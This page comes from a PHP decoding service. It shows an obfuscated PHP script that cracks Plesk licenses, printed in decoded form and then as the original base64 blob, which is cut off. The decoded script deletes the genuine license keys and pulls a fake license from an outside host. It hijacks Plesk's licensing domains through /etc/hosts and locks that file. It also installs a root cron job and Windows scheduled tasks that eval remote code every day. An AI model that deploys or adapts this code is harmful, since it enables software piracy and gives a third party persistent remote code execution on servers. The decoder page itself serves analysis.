Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHANCiRzaWxlbnQgPSAiPi9kZXYvbnVsbCAyPiYxIjsNCmRhdGVfZGV..

Decoded Output download

?>b'<?php
$silent = ">/dev/null 2>&1";
date_default_timezone_set(\'Europe/Istanbul\');
if (is_file(\'/usr/local/psa/bin/license\')) {
    //OS Linux
    if (!file_exists(\'/usr/local/psa\')) {
        //Plesk kurulum kontrol
        echo "Sunucuda plesk kurulu deildir. 
";
        die();
    }
	
	$cron_exc = base64_decode("MCAgICAgICAwICAgICAgICogICAgICAgKiAgICAgICAqICAgICAgIC91c3IvbG9jYWwvcHNhL2FkbWluL2Jpbi9waHAgLWVyICJldmFsKCc/PicuZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vcGxlc2sucmFndXJvbi5uZXQudHIvbGljZW5zZScpKTsi");
    shell_exec(\'rm -rf /etc/sw/keys/keys/*\' . $silent);
    shell_exec(\'rm -rf /etc/sw/keys/backup/*\' . $silent);
    shell_exec(\'rm -rf /root/raguron/*\' . $silent);
    system("curl https://plesk.raguron.net.tr/lisans.xml > /root/raguron/lisans.xml");
    system(\'clear\');
    
	if (is_file("/usr/bin/chattr")) {
        shell_exec(\'chattr -ia /etc/hosts\' . $silent);
    } else {
        shell_exec(\'chattr2 -ia /etc/hosts\' . $silent);
    }
	
    system("echo -e \'[33m================ Raguron Telekomnikasyon Ve nternet Limited irketi. System v1.2 ================[0m\'");
    system("echo -e \'[97m Kurulumlar Durum Lisans Tarih Gncelleme[0m\'");
    system("echo -e \'[97m Plesk [0m [31m cretsiz [0m [32m NA [0m [32m Gerekli [0m \'");
    system("echo -e \'[32mletim Sistemi: Linux[0m\'");
    system("echo -e \'[32mGeersiz eski Lisanslar silindi.[0m\'");
    
	if (!is_dir("/root/raguron")) {
        system("mkdir /root/raguron" . $silent);

    }
	
    system("cd /root/raguron" . $silent);

    file_put_contents("/root/raguron/last.update", date("d/m/y H:i:s"));
    $cron = file("/var/spool/cron/root");
    $blacklist = "OsSav";
	$blacklist3 = "Lisans.APP";
	$blacklist4 = "PH.NET.TR";
	$blacklist5 = "yoncu.com";
    $blacklist2 = "SatanHosting";
    $temizle = "Raguron Ltd ti. v1.1";
    foreach ($cron as $key => $row) {
        if (preg_match("/($blacklist)/", $row)) unset($cron[$key]);
        if (preg_match("/($blacklist2)/", $row)) unset($cron[$key]);
		if (preg_match("/($blacklist3)/", $row)) unset($cron[$key]);
		if (preg_match("/($blacklist4)/", $row)) unset($cron[$key]);
		if (preg_match("/($blacklist5)/", $row)) unset($cron[$key]);
        if (preg_match("/($temizle)/", $row)) unset($cron[$key]);
    }
    file_put_contents("/var/spool/cron/root", implode("", $cron));
  
  	$cron_data = file_get_contents("/var/spool/cron/root");
  	if (strpos($cron_data, $cron_exc) === false){
			if (file_put_contents("/var/spool/cron/root", $cron_exc, FILE_APPEND | LOCK_EX) !== false)
				    system("echo -e \'[32mCron Aktif.[0m\'");
			else
				    system("echo -e \'[32mCron almyor.[0m\'");
		}
   else{
   		    system("echo -e \'[32mCron Bulundu.[0m\'");
   }
  
  
  if (is_file(\'/etc/cron.d/ossav\')) {
        unlink(\'/etc/cron.d/ossav\');
        if (is_file(\'/sbin/ifup-pre-local\')) {
            unlink(\'/sbin/ifup-pre-local\');
        }
		
        if (is_file("/etc/pki/ca-trust/source/anchors/OsSavCA.crt")) {
            unlink(\'/etc/pki/ca-trust/source/anchors/OsSavCA.crt\');
        } //Konroll 2
		
        shell_exec(\'update-ca-trust force-enable\' . $silent);
        shell_exec(\'"/usr/sbin/plesk" bin extension --uninstall OsSav\' . $silent);
        $js = file_get_contents(\'/usr/local/psa/admin/cp/public/javascript/main.js\');
        $newJs = str_replace("/** OsSav v1.97 **/
function OsSavPleskGlobal(Count){
	if(document.querySelector(\'div.pul-layout__header-addon\')){
		if(document.querySelector(\'div.pul-layout__header-addon\').style.textShadow == \'\' || document.querySelector(\'div.pul-layout__header-addon\').style.display != \'block\'){
			document.querySelector(\'div.pul-layout__header-addon\').innerHTML=(false?\'\':\'<center class=\"msg-boxmsg-warning\">\'+atob(document.querySelector(\'html\').lang==\'tr\'?\'QnUgTGlzYW5zIDxhIGhyZWY9Ii8vb3NzYXYuY29tIj5Pc1NhdiBUZWNobm9sb2d5IEx0ZC48L2E+IFRhcmFmJiMzMDU7bmRhbiA8YSBocmVmPSIvL29zc2F2LmNvbS9QbGVzay1UcmlhbC8iPiZVdW1sO2NyZXRzaXo8L2E+IFNhJiMyODc7bGFubSYjMzA1OyYjMzUxO3QmIzMwNTtyLiBCdSBVeWFyJiMzMDU7eSYjMzA1OyBLYXBhdG1hayBpJmNjZWRpbDtpbiA8YSBocmVmPSIvL29zc2F2LmNvbS9zdG9yZS9saWNlbnNlcyI+YnVyYWRhbjwvYT4gdWN1eiBsaXNhbnMgU2F0JiMzMDU7biBhbGFiaWxpcnNpbml6Lg==\':\'VGhpcyBMaWNlbnNlIGlzIFByb3ZpZGVkIDxhIGhyZWY9Ii8vb3NzYXYuY29tL1BsZXNrLVRyaWFsLyI+RnJlZTwvYT4gb2YgQ2hhcmdlIGJ5IDxhIGhyZWY9Ii8vb3NzYXYuY29tIj5Pc1NhdiBUZWNobm9sb2d5IEx0ZC48L2E+IFlvdSBjYW4gYnV5IGEgY2hlYXAgbGljZW5zZSA8YSBocmVmPSIvL29zc2F2LmNvbS9zdG9yZS9saWNlbnNlcyI+aGVyZTwvYT4gdG8gdHVybiBvZmYgdGhlIHdhcm5pbmcu\')+\'</center>\');
			document.querySelector(\'div.pul-layout__header-addon\').style=\'display:block!important;text-shadow:0.5px 0.5px 1px grey;\';
		}
	}
	if((document.querySelector(\'#main .msg-box [href*=\"key_info\"]\') || document.querySelector(\'#main .msg-box [href*=\"license\"]\') && document.querySelector(\'#main .msg-box\').style.display != \'none\')){
		document.querySelector(\'#main .msg-box\').style.display=\'none\';
	}
	if(Count < 5000){
		var Count=(Count+1);
		setTimeout(function(){
			OsSavPleskGlobal(Count);
		},50);
	}
}
OsSavPleskGlobal(1);
document.onload=OsSavPleskGlobal(1);
currentPage = location.href;
setInterval(function(){
	if(currentPage!=location.href){
		currentPage=location.href;
		OsSavPleskGlobal(1);
	}
},100);
/** OsSav v1.97 **/", \'\', $js);
        $newJs = file_put_contents("/usr/local/psa/admin/cp/public/javascript/main.js", $newJs);
		system("echo -e \'[32mOssav ve Trevi Lisans Sistemleri Temizlendi.[0m\'");
    }
    if (is_file("/usr/local/psa/admin/cp/public/theme/css/main.css")) {
        $css = file_get_contents("/usr/local/psa/admin/cp/public/theme/css/main.css");
        if (!strstr($css, \'.license-status{position\')) {
            $newCss = str_replace(\'.license-status{position\', \'.license-status{display:none;position\', $css);
            $newCss = str_replace(\'.msg-box{display:none;!important}\', \'\', $newCss);
            $newCss = file_put_contents("/usr/local/psa/admin/cp/public/theme/css/main.css", $newCss);
            system("echo -e \'[32mTrial Yazs Kaldrld.[0m\'");
        } else {
            system("echo -e \'[32mTrial Yazs Mevcut Deil.[0m\'");
        }
    }
	
    $install = system(\'/usr/local/psa/bin/license -i /root/raguron/lisans.xml\' . $silent);
    $install = trim(shell_exec(\'"/usr/local/psa/bin/license" -i "/root/raguron/lisans.xml"\'));
    if (stristr($install, \'successfully installed\')) {
        $hosts = file("/etc/hosts");
        foreach ($hosts as $key => $row) {
            if (preg_match("/(185.50.69.214)/", $row)) unset($hosts[$key]);
        }
		
        file_put_contents("/etc/hosts", $hosts);
        if (!strstr(file_get_contents("/etc/hosts"), \'46.37.99.8\')) {
            file_put_contents("/etc/hosts", "
46.37.99.8 ka.plesk.com id-00.kaid.plesk.com alternate.ka.plesk.com feedback.pp.plesk.com", FILE_APPEND);
        }
		
        if (is_file("/usr/bin/chattr")) {
            shell_exec(\'chattr +ia /etc/hosts\' . $silent);
        } else {
            shell_exec(\'chattr2 +ia /etc/hosts\' . $silent);
        }
        shell_exec(\'plesk db "DELETE FROM psa.sessions";\');
        shell_exec(\'plesk bin poweruser --off\');
        system("echo -e \'[32mSessionlar Silindi.[0m\'");
        shell_exec(\'plesk bin locales --set-default tr-TR\');
        system("echo -e \'[32mDil Trke olarak Gncellendi.[0m\'");
        system("echo -e \'[32mBaarl lisans yklendi.[0m\'");
        system("echo -e \'[33m================ Raguron Telekomnikasyon Ve nternet Limited irketi. System v1.2 ================[0m\'");
        sleep(3);
    } else {
        system("echo -e \'[32mLisans Yklenemedi![0m\'");
    }
}
// Windows
elseif (is_file(\'C:\Program Files (x86)\Parallels\Pleskin\license.exe\')) {
    system("echo letim Sistemi: Windows Parallels");
    shell_exec(\'schtasks /create /tn "Raguron Telekomnikasyon Ve nternet Limited irketi. v1.1" /tr "\"%plesk_bin%\php.exe\" -er \"eval(file_get_contents(\\\"https://plesk.raguron.net.tr/license\\\"));\"" /sc DAILY /mo 1\' . $silent);
    system("echo Cron Grevi Oluturuldu.");
    system(\'DEL /F /Q /A "C:\Program Files (x86)\Parallels\Plesk\admin\repository\keys\*"\');
    system("echo Geersiz eski lisanslar silindi.");
    $xml = file_put_contents("C:\Program Files (x86)\Parallels\Plesk\bin\license.xml", file_get_contents(\'https://plesk.raguron.net.tr/lisans.xml\'));
    shell_exec(\'"C:\Program Files (x86)\Parallels\Plesk\bin\license.exe -i C:\Program Files (x86)\Parallels\Plesk\bin\license.xml"\');
    shell_exec(\'plesk db "DELETE FROM psa.sessions";\');
    shell_exec(\'plesk bin poweruser --off\');
    system("echo Sessionlar Silindi.");
    system("echo Baarl lisans yklendi.");
    sleep(3);
    system("echo License provider Raguron Ltd ti. v1.1");
} elseif (is_file(\'C:\Program Files (x86)\Pleskin\license.exe\')) {
    system("echo letim Sistemi: Windows Plesk");
    shell_exec(\'schtasks /create /tn "Raguron Ltd ti. v1.1" /tr "\"%plesk_bin%\php.exe\" -er \"eval(file_get_contents(\\\"https://plesk.raguron.net.tr/license\\\"));\"" /sc DAILY /mo 1\');
    system("echo Cron Grevi Oluturuldu.");
    system(\'DEL /F /Q /A "C:\Program Files (x86)\Plesk\admin\repository\keys\*"\');
    $files = glob(\'C:\Program Files (x86)\Plesk\admin\repository\keys\*\');
    foreach ($files as $file) {
        if (is_file($file)) {
            unlink($file);
        }
    }
    system("echo Geersiz eski lisanslar silindi.");
    $xml = file_put_contents("C:\Program Files (x86)\Plesk\bin\license.xml", file_get_contents(\'https://plesk.raguron.net.tr/lisans.xml\'));
    $install = trim(shell_exec(\'"C:\Program Files (x86)\Plesk\bin\license.exe" -i "C:\Program Files (x86)\Plesk\bin\license.xml"\'));
    if (stristr($install, \'successfully installed\')) {
        shell_exec(\'plesk db "DELETE FROM psa.sessions";\');
        shell_exec(\'plesk bin poweruser --off\');
        system("echo Sessionlar Silindi.");
        system("echo Baarl lisans yklendi.");
        sleep(3);
        system("echo License provider Raguron Ltd ti. v1.1");
    } else {
        system("echo Lisans Yklenemedi!");
    }
} elseif (is_file(\'D:\Program Files (x86)\Pleskin\license.exe\')) {
    system("echo letim Sistemi: Windows Plesk");
    shell_exec(\'schtasks /create /tn "Raguron Ltd ti. v1.1" /tr "\"%plesk_bin%\php.exe\" -er \"eval(file_get_contents(\\\"https://plesk.raguron.net.tr/license\\\"));\"" /sc DAILY /mo 1\');
    system("echo Cron Grevi Oluturuldu.");
    system(\'DEL /F /Q /A "C:\Program Files (x86)\Plesk\admin\repository\keys\*"\');
    $files = glob(\'D:\Program Files (x86)\Plesk\admin\repository\keys\*\');
    foreach ($files as $file) {
        if (is_file($file)) {
            unlink($file);
        }
    }
    system("echo Geersiz eski lisanslar silindi.");
    $xml = file_put_contents("D:\Program Files (x86)\Plesk\bin\license.xml", file_get_contents(\'https://plesk.raguron.net.tr/lisans.xml\'));
    $install = trim(shell_exec(\'"D:\Program Files (x86)\Plesk\bin\license.exe" -i "D:\Program Files (x86)\Plesk\bin\license.xml"\'));
    if (stristr($install, \'successfully installed\')) {
        shell_exec(\'plesk db "DELETE FROM psa.sessions";\');
        shell_exec(\'plesk bin poweruser --off\');
        system("echo Sessionlar Silindi.");
        system("echo Baarl lisans yklendi.");
        sleep(3);
        system("echo License provider Raguron Ltd ti. v1.1");
    } else {
        system("echo Lisans Yklenemedi!");
    }
} else {
    system("echo letim sistemi!");
}'

Did this file decode correctly?

Original Code

<?php eval("?>".base64_decode("PD9waHANCiRzaWxlbnQgPSAiPi9kZXYvbnVsbCAyPiYxIjsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0V1cm9wZS9Jc3RhbmJ1bCcpOw0KaWYgKGlzX2ZpbGUoJy91c3IvbG9jYWwvcHNhL2Jpbi9saWNlbnNlJykpIHsNCiAgICAvL09TIExpbnV4DQogICAgaWYgKCFmaWxlX2V4aXN0cygnL3Vzci9sb2NhbC9wc2EnKSkgew0KICAgICAgICAvL1BsZXNrIGt1cnVsdW0ga29udHJvbA0KICAgICAgICBlY2hvICJTdW51Y3VkYSBwbGVzayBrdXJ1bHUgZGXEn2lsZGlyLiBcbiI7DQogICAgICAgIGRpZSgpOw0KICAgIH0NCgkNCgkkY3Jvbl9leGMgPSBiYXNlNjRfZGVjb2RlKCJNQ0FnSUNBZ0lDQXdJQ0FnSUNBZ0lDb2dJQ0FnSUNBZ0tpQWdJQ0FnSUNBcUlDQWdJQ0FnSUM5MWMzSXZiRzlqWVd3dmNITmhMMkZrYldsdUwySnBiaTl3YUhBZ0xXVnlJQ0psZG1Gc0tDYy9QaWN1Wm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSjJoMGRIQnpPaTh2Y0d4bGMyc3VjbUZuZFhKdmJpNXVaWFF1ZEhJdmJHbGpaVzV6WlNjcEtUc2kiKTsNCiAgICBzaGVsbF9leGVjKCdybSAtcmYgL2V0Yy9zdy9rZXlzL2tleXMvKicgLiAkc2lsZW50KTsNCiAgICBzaGVsbF9leGVjKCdybSAtcmYgL2V0Yy9zdy9rZXlzL2JhY2t1cC8qJyAuICRzaWxlbnQpOw0KICAgIHNoZWxsX2V4ZWMoJ3JtIC1yZiAvcm9vdC9yYWd1cm9uLyonIC4gJHNpbGVudCk7DQogICAgc3lzdGVtKCJjdXJsIGh0dHBzOi8vcGxlc2sucmFndXJvbi5uZXQudHIvbGlzYW5zLnhtbCA+IC9yb290L3JhZ3Vyb24vbGlzYW5zLnhtbCIpOw0KICAgIHN5c3RlbSgnY2xlYXInKTsNCiAgICANCglpZiAoaXNfZmlsZSgiL3Vzci9iaW4vY2hhdHRyIikpIHsNCiAgICAgICAgc2hlbGxfZXhlYygnY2hhdHRyIC1pYSAvZXRjL2hvc3RzJyAuICRzaWxlbnQpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIHNoZWxsX2V4ZWMoJ2NoYXR0cjIgLWlhIC9ldGMvaG9zdHMnIC4gJHNpbGVudCk7DQogICAgfQ0KCQ0KICAgIHN5c3RlbSgiZWNobyAtZSAnXDAzM1szM209PT09PT09PT09PT09PT09IFJhZ3Vyb24gVGVsZWtvbcO8bmlrYXN5b24gVmUgxLBudGVybmV0IExpbWl0ZWQgxZ5pcmtldGkuIFN5c3RlbSB2MS4yID09PT09PT09PT09PT09PT1cMDMzWzBtJyIpOw0KICAgIHN5c3RlbSgiZWNobyAtZSAnXDAzM1s5N20gS3VydWx1bWxhciBEdXJ1bSBMaXNhbnMgVGFyaWggR8O8bmNlbGxlbWVcMDMzWzBtJyIpOw0KICAgIHN5c3RlbSgiZWNobyAtZSAnXDAzM1s5N20gUGxlc2sgXDAzM1swbSBcMDMzWzMxbSDDnGNyZXRzaXogXDAzM1swbSBcMDMzWzMybSBOQSBcMDMzWzBtIFwwMzNbMzJtIEdlcmVrbGkgXDAzM1swbSAnIik7DQogICAgc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMybcSwxZ9sZXRpbSBTaXN0ZW1pOiBMaW51eFwwMzNbMG0nIik7DQogICAgc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMybUdlw6dlcnNpeiBlc2tpIExpc2Fuc2xhciBzaWxpbmRpLlwwMzNbMG0nIik7DQogICAgDQoJaWYgKCFpc19kaXIoIi9yb290L3JhZ3Vyb24iKSkgew0KICAgICAgICBzeXN0ZW0oIm1rZGlyIC9yb290L3JhZ3Vyb24iIC4gJHNpbGVudCk7DQoNCiAgICB9DQoJDQogICAgc3lzdGVtKCJjZCAvcm9vdC9yYWd1cm9uIiAuICRzaWxlbnQpOw0KDQogICAgZmlsZV9wdXRfY29udGVudHMoIi9yb290L3JhZ3Vyb24vbGFzdC51cGRhdGUiLCBkYXRlKCJkL20veSBIOmk6cyIpKTsNCiAgICAkY3JvbiA9IGZpbGUoIi92YXIvc3Bvb2wvY3Jvbi9yb290Iik7DQogICAgJGJsYWNrbGlzdCA9ICJPc1NhdiI7DQoJJGJsYWNrbGlzdDMgPSAiTGlzYW5zLkFQUCI7DQoJJGJsYWNrbGlzdDQgPSAiUEguTkVULlRSIjsNCgkkYmxhY2tsaXN0NSA9ICJ5b25jdS5jb20iOw0KICAgICRibGFja2xpc3QyID0gIlNhdGFuSG9zdGluZyI7DQogICAgJHRlbWl6bGUgPSAiUmFndXJvbiBMdGQgxZ50aS4gdjEuMSI7DQogICAgZm9yZWFjaCAoJGNyb24gYXMgJGtleSA9PiAkcm93KSB7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCIvKCRibGFja2xpc3QpLyIsICRyb3cpKSB1bnNldCgkY3Jvblska2V5XSk7DQogICAgICAgIGlmIChwcmVnX21hdGNoKCIvKCRibGFja2xpc3QyKS8iLCAkcm93KSkgdW5zZXQoJGNyb25bJGtleV0pOw0KCQlpZiAocHJlZ19tYXRjaCgiLygkYmxhY2tsaXN0MykvIiwgJHJvdykpIHVuc2V0KCRjcm9uWyRrZXldKTsNCgkJaWYgKHByZWdfbWF0Y2goIi8oJGJsYWNrbGlzdDQpLyIsICRyb3cpKSB1bnNldCgkY3Jvblska2V5XSk7DQoJCWlmIChwcmVnX21hdGNoKCIvKCRibGFja2xpc3Q1KS8iLCAkcm93KSkgdW5zZXQoJGNyb25bJGtleV0pOw0KICAgICAgICBpZiAocHJlZ19tYXRjaCgiLygkdGVtaXpsZSkvIiwgJHJvdykpIHVuc2V0KCRjcm9uWyRrZXldKTsNCiAgICB9DQogICAgZmlsZV9wdXRfY29udGVudHMoIi92YXIvc3Bvb2wvY3Jvbi9yb290IiwgaW1wbG9kZSgiIiwgJGNyb24pKTsNCiAgDQogIAkkY3Jvbl9kYXRhID0gZmlsZV9nZXRfY29udGVudHMoIi92YXIvc3Bvb2wvY3Jvbi9yb290Iik7DQogIAlpZiAoc3RycG9zKCRjcm9uX2RhdGEsICRjcm9uX2V4YykgPT09IGZhbHNlKXsNCgkJCWlmIChmaWxlX3B1dF9jb250ZW50cygiL3Zhci9zcG9vbC9jcm9uL3Jvb3QiLCAkY3Jvbl9leGMsIEZJTEVfQVBQRU5EIHwgTE9DS19FWCkgIT09IGZhbHNlKQ0KCQkJCSAgICBzeXN0ZW0oImVjaG8gLWUgJ1wwMzNbMzJtQ3JvbiBBa3RpZi5cMDMzWzBtJyIpOw0KCQkJZWxzZQ0KCQkJCSAgICBzeXN0ZW0oImVjaG8gLWUgJ1wwMzNbMzJtQ3JvbiDDh2FsxLHFn23EsXlvci5cMDMzWzBtJyIpOw0KCQl9DQogICBlbHNlew0KICAgCQkgICAgc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMybUNyb24gQnVsdW5kdS5cMDMzWzBtJyIpOw0KICAgfQ0KICANCiAgDQogIGlmIChpc19maWxlKCcvZXRjL2Nyb24uZC9vc3NhdicpKSB7DQogICAgICAgIHVubGluaygnL2V0Yy9jcm9uLmQvb3NzYXYnKTsNCiAgICAgICAgaWYgKGlzX2ZpbGUoJy9zYmluL2lmdXAtcHJlLWxvY2FsJykpIHsNCiAgICAgICAgICAgIHVubGluaygnL3NiaW4vaWZ1cC1wcmUtbG9jYWwnKTsNCiAgICAgICAgfQ0KCQkNCiAgICAgICAgaWYgKGlzX2ZpbGUoIi9ldGMvcGtpL2NhLXRydXN0L3NvdXJjZS9hbmNob3JzL09zU2F2Q0EuY3J0IikpIHsNCiAgICAgICAgICAgIHVubGluaygnL2V0Yy9wa2kvY2EtdHJ1c3Qvc291cmNlL2FuY2hvcnMvT3NTYXZDQS5jcnQnKTsNCiAgICAgICAgfSAvL0tvbnJvbGwgMg0KCQkNCiAgICAgICAgc2hlbGxfZXhlYygndXBkYXRlLWNhLXRydXN0IGZvcmNlLWVuYWJsZScgLiAkc2lsZW50KTsNCiAgICAgICAgc2hlbGxfZXhlYygnIi91c3Ivc2Jpbi9wbGVzayIgYmluIGV4dGVuc2lvbiAtLXVuaW5zdGFsbCBPc1NhdicgLiAkc2lsZW50KTsNCiAgICAgICAgJGpzID0gZmlsZV9nZXRfY29udGVudHMoJy91c3IvbG9jYWwvcHNhL2FkbWluL2NwL3B1YmxpYy9qYXZhc2NyaXB0L21haW4uanMnKTsNCiAgICAgICAgJG5ld0pzID0gc3RyX3JlcGxhY2UoIi8qKiBPc1NhdiB2MS45NyAqKi9cbmZ1bmN0aW9uIE9zU2F2UGxlc2tHbG9iYWwoQ291bnQpe1xuXHRpZihkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCdkaXYucHVsLWxheW91dF9faGVhZGVyLWFkZG9uJykpe1xuXHRcdGlmKGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Rpdi5wdWwtbGF5b3V0X19oZWFkZXItYWRkb24nKS5zdHlsZS50ZXh0U2hhZG93ID09ICcnIHx8IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2Rpdi5wdWwtbGF5b3V0X19oZWFkZXItYWRkb24nKS5zdHlsZS5kaXNwbGF5ICE9ICdibG9jaycpe1xuXHRcdFx0ZG9jdW1lbnQucXVlcnlTZWxlY3RvcignZGl2LnB1bC1sYXlvdXRfX2hlYWRlci1hZGRvbicpLmlubmVySFRNTD0oZmFsc2U/Jyc6JzxjZW50ZXIgY2xhc3M9XCJtc2ctYm94bXNnLXdhcm5pbmdcIj4nK2F0b2IoZG9jdW1lbnQucXVlcnlTZWxlY3RvcignaHRtbCcpLmxhbmc9PSd0cic/J1FuVWdUR2x6WVc1eklEeGhJR2h5WldZOUlpOHZiM056WVhZdVkyOXRJajVQYzFOaGRpQlVaV05vYm05c2IyZDVJRXgwWkM0OEwyRStJRlJoY21GbUppTXpNRFU3Ym1SaGJpQThZU0JvY21WbVBTSXZMMjl6YzJGMkxtTnZiUzlRYkdWemF5MVVjbWxoYkM4aVBpWlZkVzFzTzJOeVpYUnphWG84TDJFK0lGTmhKaU15T0RjN2JHRnViU1lqTXpBMU95WWpNelV4TzNRbUl6TXdOVHR5TGlCQ2RTQlZlV0Z5SmlNek1EVTdlU1lqTXpBMU95QkxZWEJoZEcxaGF5QnBKbU5qWldScGJEdHBiaUE4WVNCb2NtVm1QU0l2TDI5emMyRjJMbU52YlM5emRHOXlaUzlzYVdObGJuTmxjeUkrWW5WeVlXUmhiand2WVQ0Z2RXTjFlaUJzYVhOaGJuTWdVMkYwSmlNek1EVTdiaUJoYkdGaWFXeHBjbk5wYm1sNkxnPT0nOidWR2hwY3lCTWFXTmxibk5sSUdseklGQnliM1pwWkdWa0lEeGhJR2h5WldZOUlpOHZiM056WVhZdVkyOXRMMUJzWlhOckxWUnlhV0ZzTHlJK1JuSmxaVHd2WVQ0Z2IyWWdRMmhoY21kbElHSjVJRHhoSUdoeVpXWTlJaTh2YjNOellYWXVZMjl0SWo1UGMxTmhkaUJVWldOb2JtOXNiMmQ1SUV4MFpDNDhMMkUrSUZsdmRTQmpZVzRnWW5WNUlHRWdZMmhsWVhBZ2JHbGpaVzV6WlNBOFlTQm9jbVZtUFNJdkwyOXpjMkYyTG1OdmJTOXpkRzl5WlM5c2FXTmxibk5sY3lJK2FHVnlaVHd2WVQ0Z2RHOGdkSFZ5YmlCdlptWWdkR2hsSUhkaGNtNXBibWN1JykrJzwvY2VudGVyPicpO1xuXHRcdFx0ZG9jdW1lbnQucXVlcnlTZWxlY3RvcignZGl2LnB1bC1sYXlvdXRfX2hlYWRlci1hZGRvbicpLnN0eWxlPSdkaXNwbGF5OmJsb2NrIWltcG9ydGFudDt0ZXh0LXNoYWRvdzowLjVweCAwLjVweCAxcHggZ3JleTsnO1xuXHRcdH1cblx0fVxuXHRpZigoZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI21haW4gLm1zZy1ib3ggW2hyZWYqPVwia2V5X2luZm9cIl0nKSB8fCBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcjbWFpbiAubXNnLWJveCBbaHJlZio9XCJsaWNlbnNlXCJdJykgJiYgZG9jdW1lbnQucXVlcnlTZWxlY3RvcignI21haW4gLm1zZy1ib3gnKS5zdHlsZS5kaXNwbGF5ICE9ICdub25lJykpe1xuXHRcdGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJyNtYWluIC5tc2ctYm94Jykuc3R5bGUuZGlzcGxheT0nbm9uZSc7XG5cdH1cblx0aWYoQ291bnQgPCA1MDAwKXtcblx0XHR2YXIgQ291bnQ9KENvdW50KzEpO1xuXHRcdHNldFRpbWVvdXQoZnVuY3Rpb24oKXtcblx0XHRcdE9zU2F2UGxlc2tHbG9iYWwoQ291bnQpO1xuXHRcdH0sNTApO1xuXHR9XG59XG5Pc1NhdlBsZXNrR2xvYmFsKDEpO1xuZG9jdW1lbnQub25sb2FkPU9zU2F2UGxlc2tHbG9iYWwoMSk7XG5jdXJyZW50UGFnZSA9IGxvY2F0aW9uLmhyZWY7XG5zZXRJbnRlcnZhbChmdW5jdGlvbigpe1xuXHRpZihjdXJyZW50UGFnZSE9bG9jYXRpb24uaHJlZil7XG5cdFx0Y3VycmVudFBhZ2U9bG9jYXRpb24uaHJlZjtcblx0XHRPc1NhdlBsZXNrR2xvYmFsKDEpO1xuXHR9XG59LDEwMCk7XG4vKiogT3NTYXYgdjEuOTcgKiovIiwgJycsICRqcyk7DQogICAgICAgICRuZXdKcyA9IGZpbGVfcHV0X2NvbnRlbnRzKCIvdXNyL2xvY2FsL3BzYS9hZG1pbi9jcC9wdWJsaWMvamF2YXNjcmlwdC9tYWluLmpzIiwgJG5ld0pzKTsNCgkJc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMybU9zc2F2IHZlIFTDvHJldmkgTGlzYW5zIFNpc3RlbWxlcmkgVGVtaXpsZW5kaS5cMDMzWzBtJyIpOw0KICAgIH0NCiAgICBpZiAoaXNfZmlsZSgiL3Vzci9sb2NhbC9wc2EvYWRtaW4vY3AvcHVibGljL3RoZW1lL2Nzcy9tYWluLmNzcyIpKSB7DQogICAgICAgICRjc3MgPSBmaWxlX2dldF9jb250ZW50cygiL3Vzci9sb2NhbC9wc2EvYWRtaW4vY3AvcHVibGljL3RoZW1lL2Nzcy9tYWluLmNzcyIpOw0KICAgICAgICBpZiAoIXN0cnN0cigkY3NzLCAnLmxpY2Vuc2Utc3RhdHVze3Bvc2l0aW9uJykpIHsNCiAgICAgICAgICAgICRuZXdDc3MgPSBzdHJfcmVwbGFjZSgnLmxpY2Vuc2Utc3RhdHVze3Bvc2l0aW9uJywgJy5saWNlbnNlLXN0YXR1c3tkaXNwbGF5Om5vbmU7cG9zaXRpb24nLCAkY3NzKTsNCiAgICAgICAgICAgICRuZXdDc3MgPSBzdHJfcmVwbGFjZSgnLm1zZy1ib3h7ZGlzcGxheTpub25lOyFpbXBvcnRhbnR9JywgJycsICRuZXdDc3MpOw0KICAgICAgICAgICAgJG5ld0NzcyA9IGZpbGVfcHV0X2NvbnRlbnRzKCIvdXNyL2xvY2FsL3BzYS9hZG1pbi9jcC9wdWJsaWMvdGhlbWUvY3NzL21haW4uY3NzIiwgJG5ld0Nzcyk7DQogICAgICAgICAgICBzeXN0ZW0oImVjaG8gLWUgJ1wwMzNbMzJtVHJpYWwgWWF6xLFzxLEgS2FsZMSxcsSxbGTEsS5cMDMzWzBtJyIpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgc3lzdGVtKCJlY2hvIC1lICdcMDMzWzMybVRyaWFsIFlhesSxc8SxIE1ldmN1dCBEZcSfaWwuXDAzM1swbSciKTsNCiAgICAgICAgfQ0KICAgIH0NCgkNCiAgICAkaW5zdGFsbCA9IHN5c3RlbSgnL3Vzci9sb2NhbC9wc2EvYmluL2xpY2Vuc2UgLWkgL3Jvb3QvcmFndXJvbi9saXNhbnMueG1sJyAuICRzaWxlbnQpOw0KICAgICRpbnN0YWxsID0gdHJpbShzaGVsbF9leGVjKCciL3Vzci9sb2NhbC9wc2EvYmluL2xpY2Vuc2UiIC1pICIvcm9vdC9yYWd1cm9uL2xpc2Fucy54bWwiJykpOw0KICAgIGlmIChzdHJpc3RyKCRpbnN0YWxsLCAnc3VjY2Vzc2Z1bGx5IGluc3RhbGxlZCcpKSB7DQogICAgICAgICRob3N0cyA9IGZpbGUoIi9ldGMvaG9zdHMiKTsNCiAgICAgICAgZm9yZWFjaCAoJGhvc3RzIGFzICRrZXkgPT4gJHJvdykgew0KICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goIi8oMTg1LjUwLjY5LjIxNCkvIiwgJHJvdykpIHVuc2V0KCRob3N0c1ska2V5XSk7DQogICAgICAgIH0NCgkJDQogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCIvZXRjL2hvc3RzIiwgJGhvc3RzKTsNCiAgICAgICAgaWYgKCFzdHJzdHIoZmlsZV9nZXRfY29udGVudHMoIi9ldGMvaG9zdHMiKSwgJzQ2LjM3Ljk5LjgnKSkgew0KICAgICAgICAgICA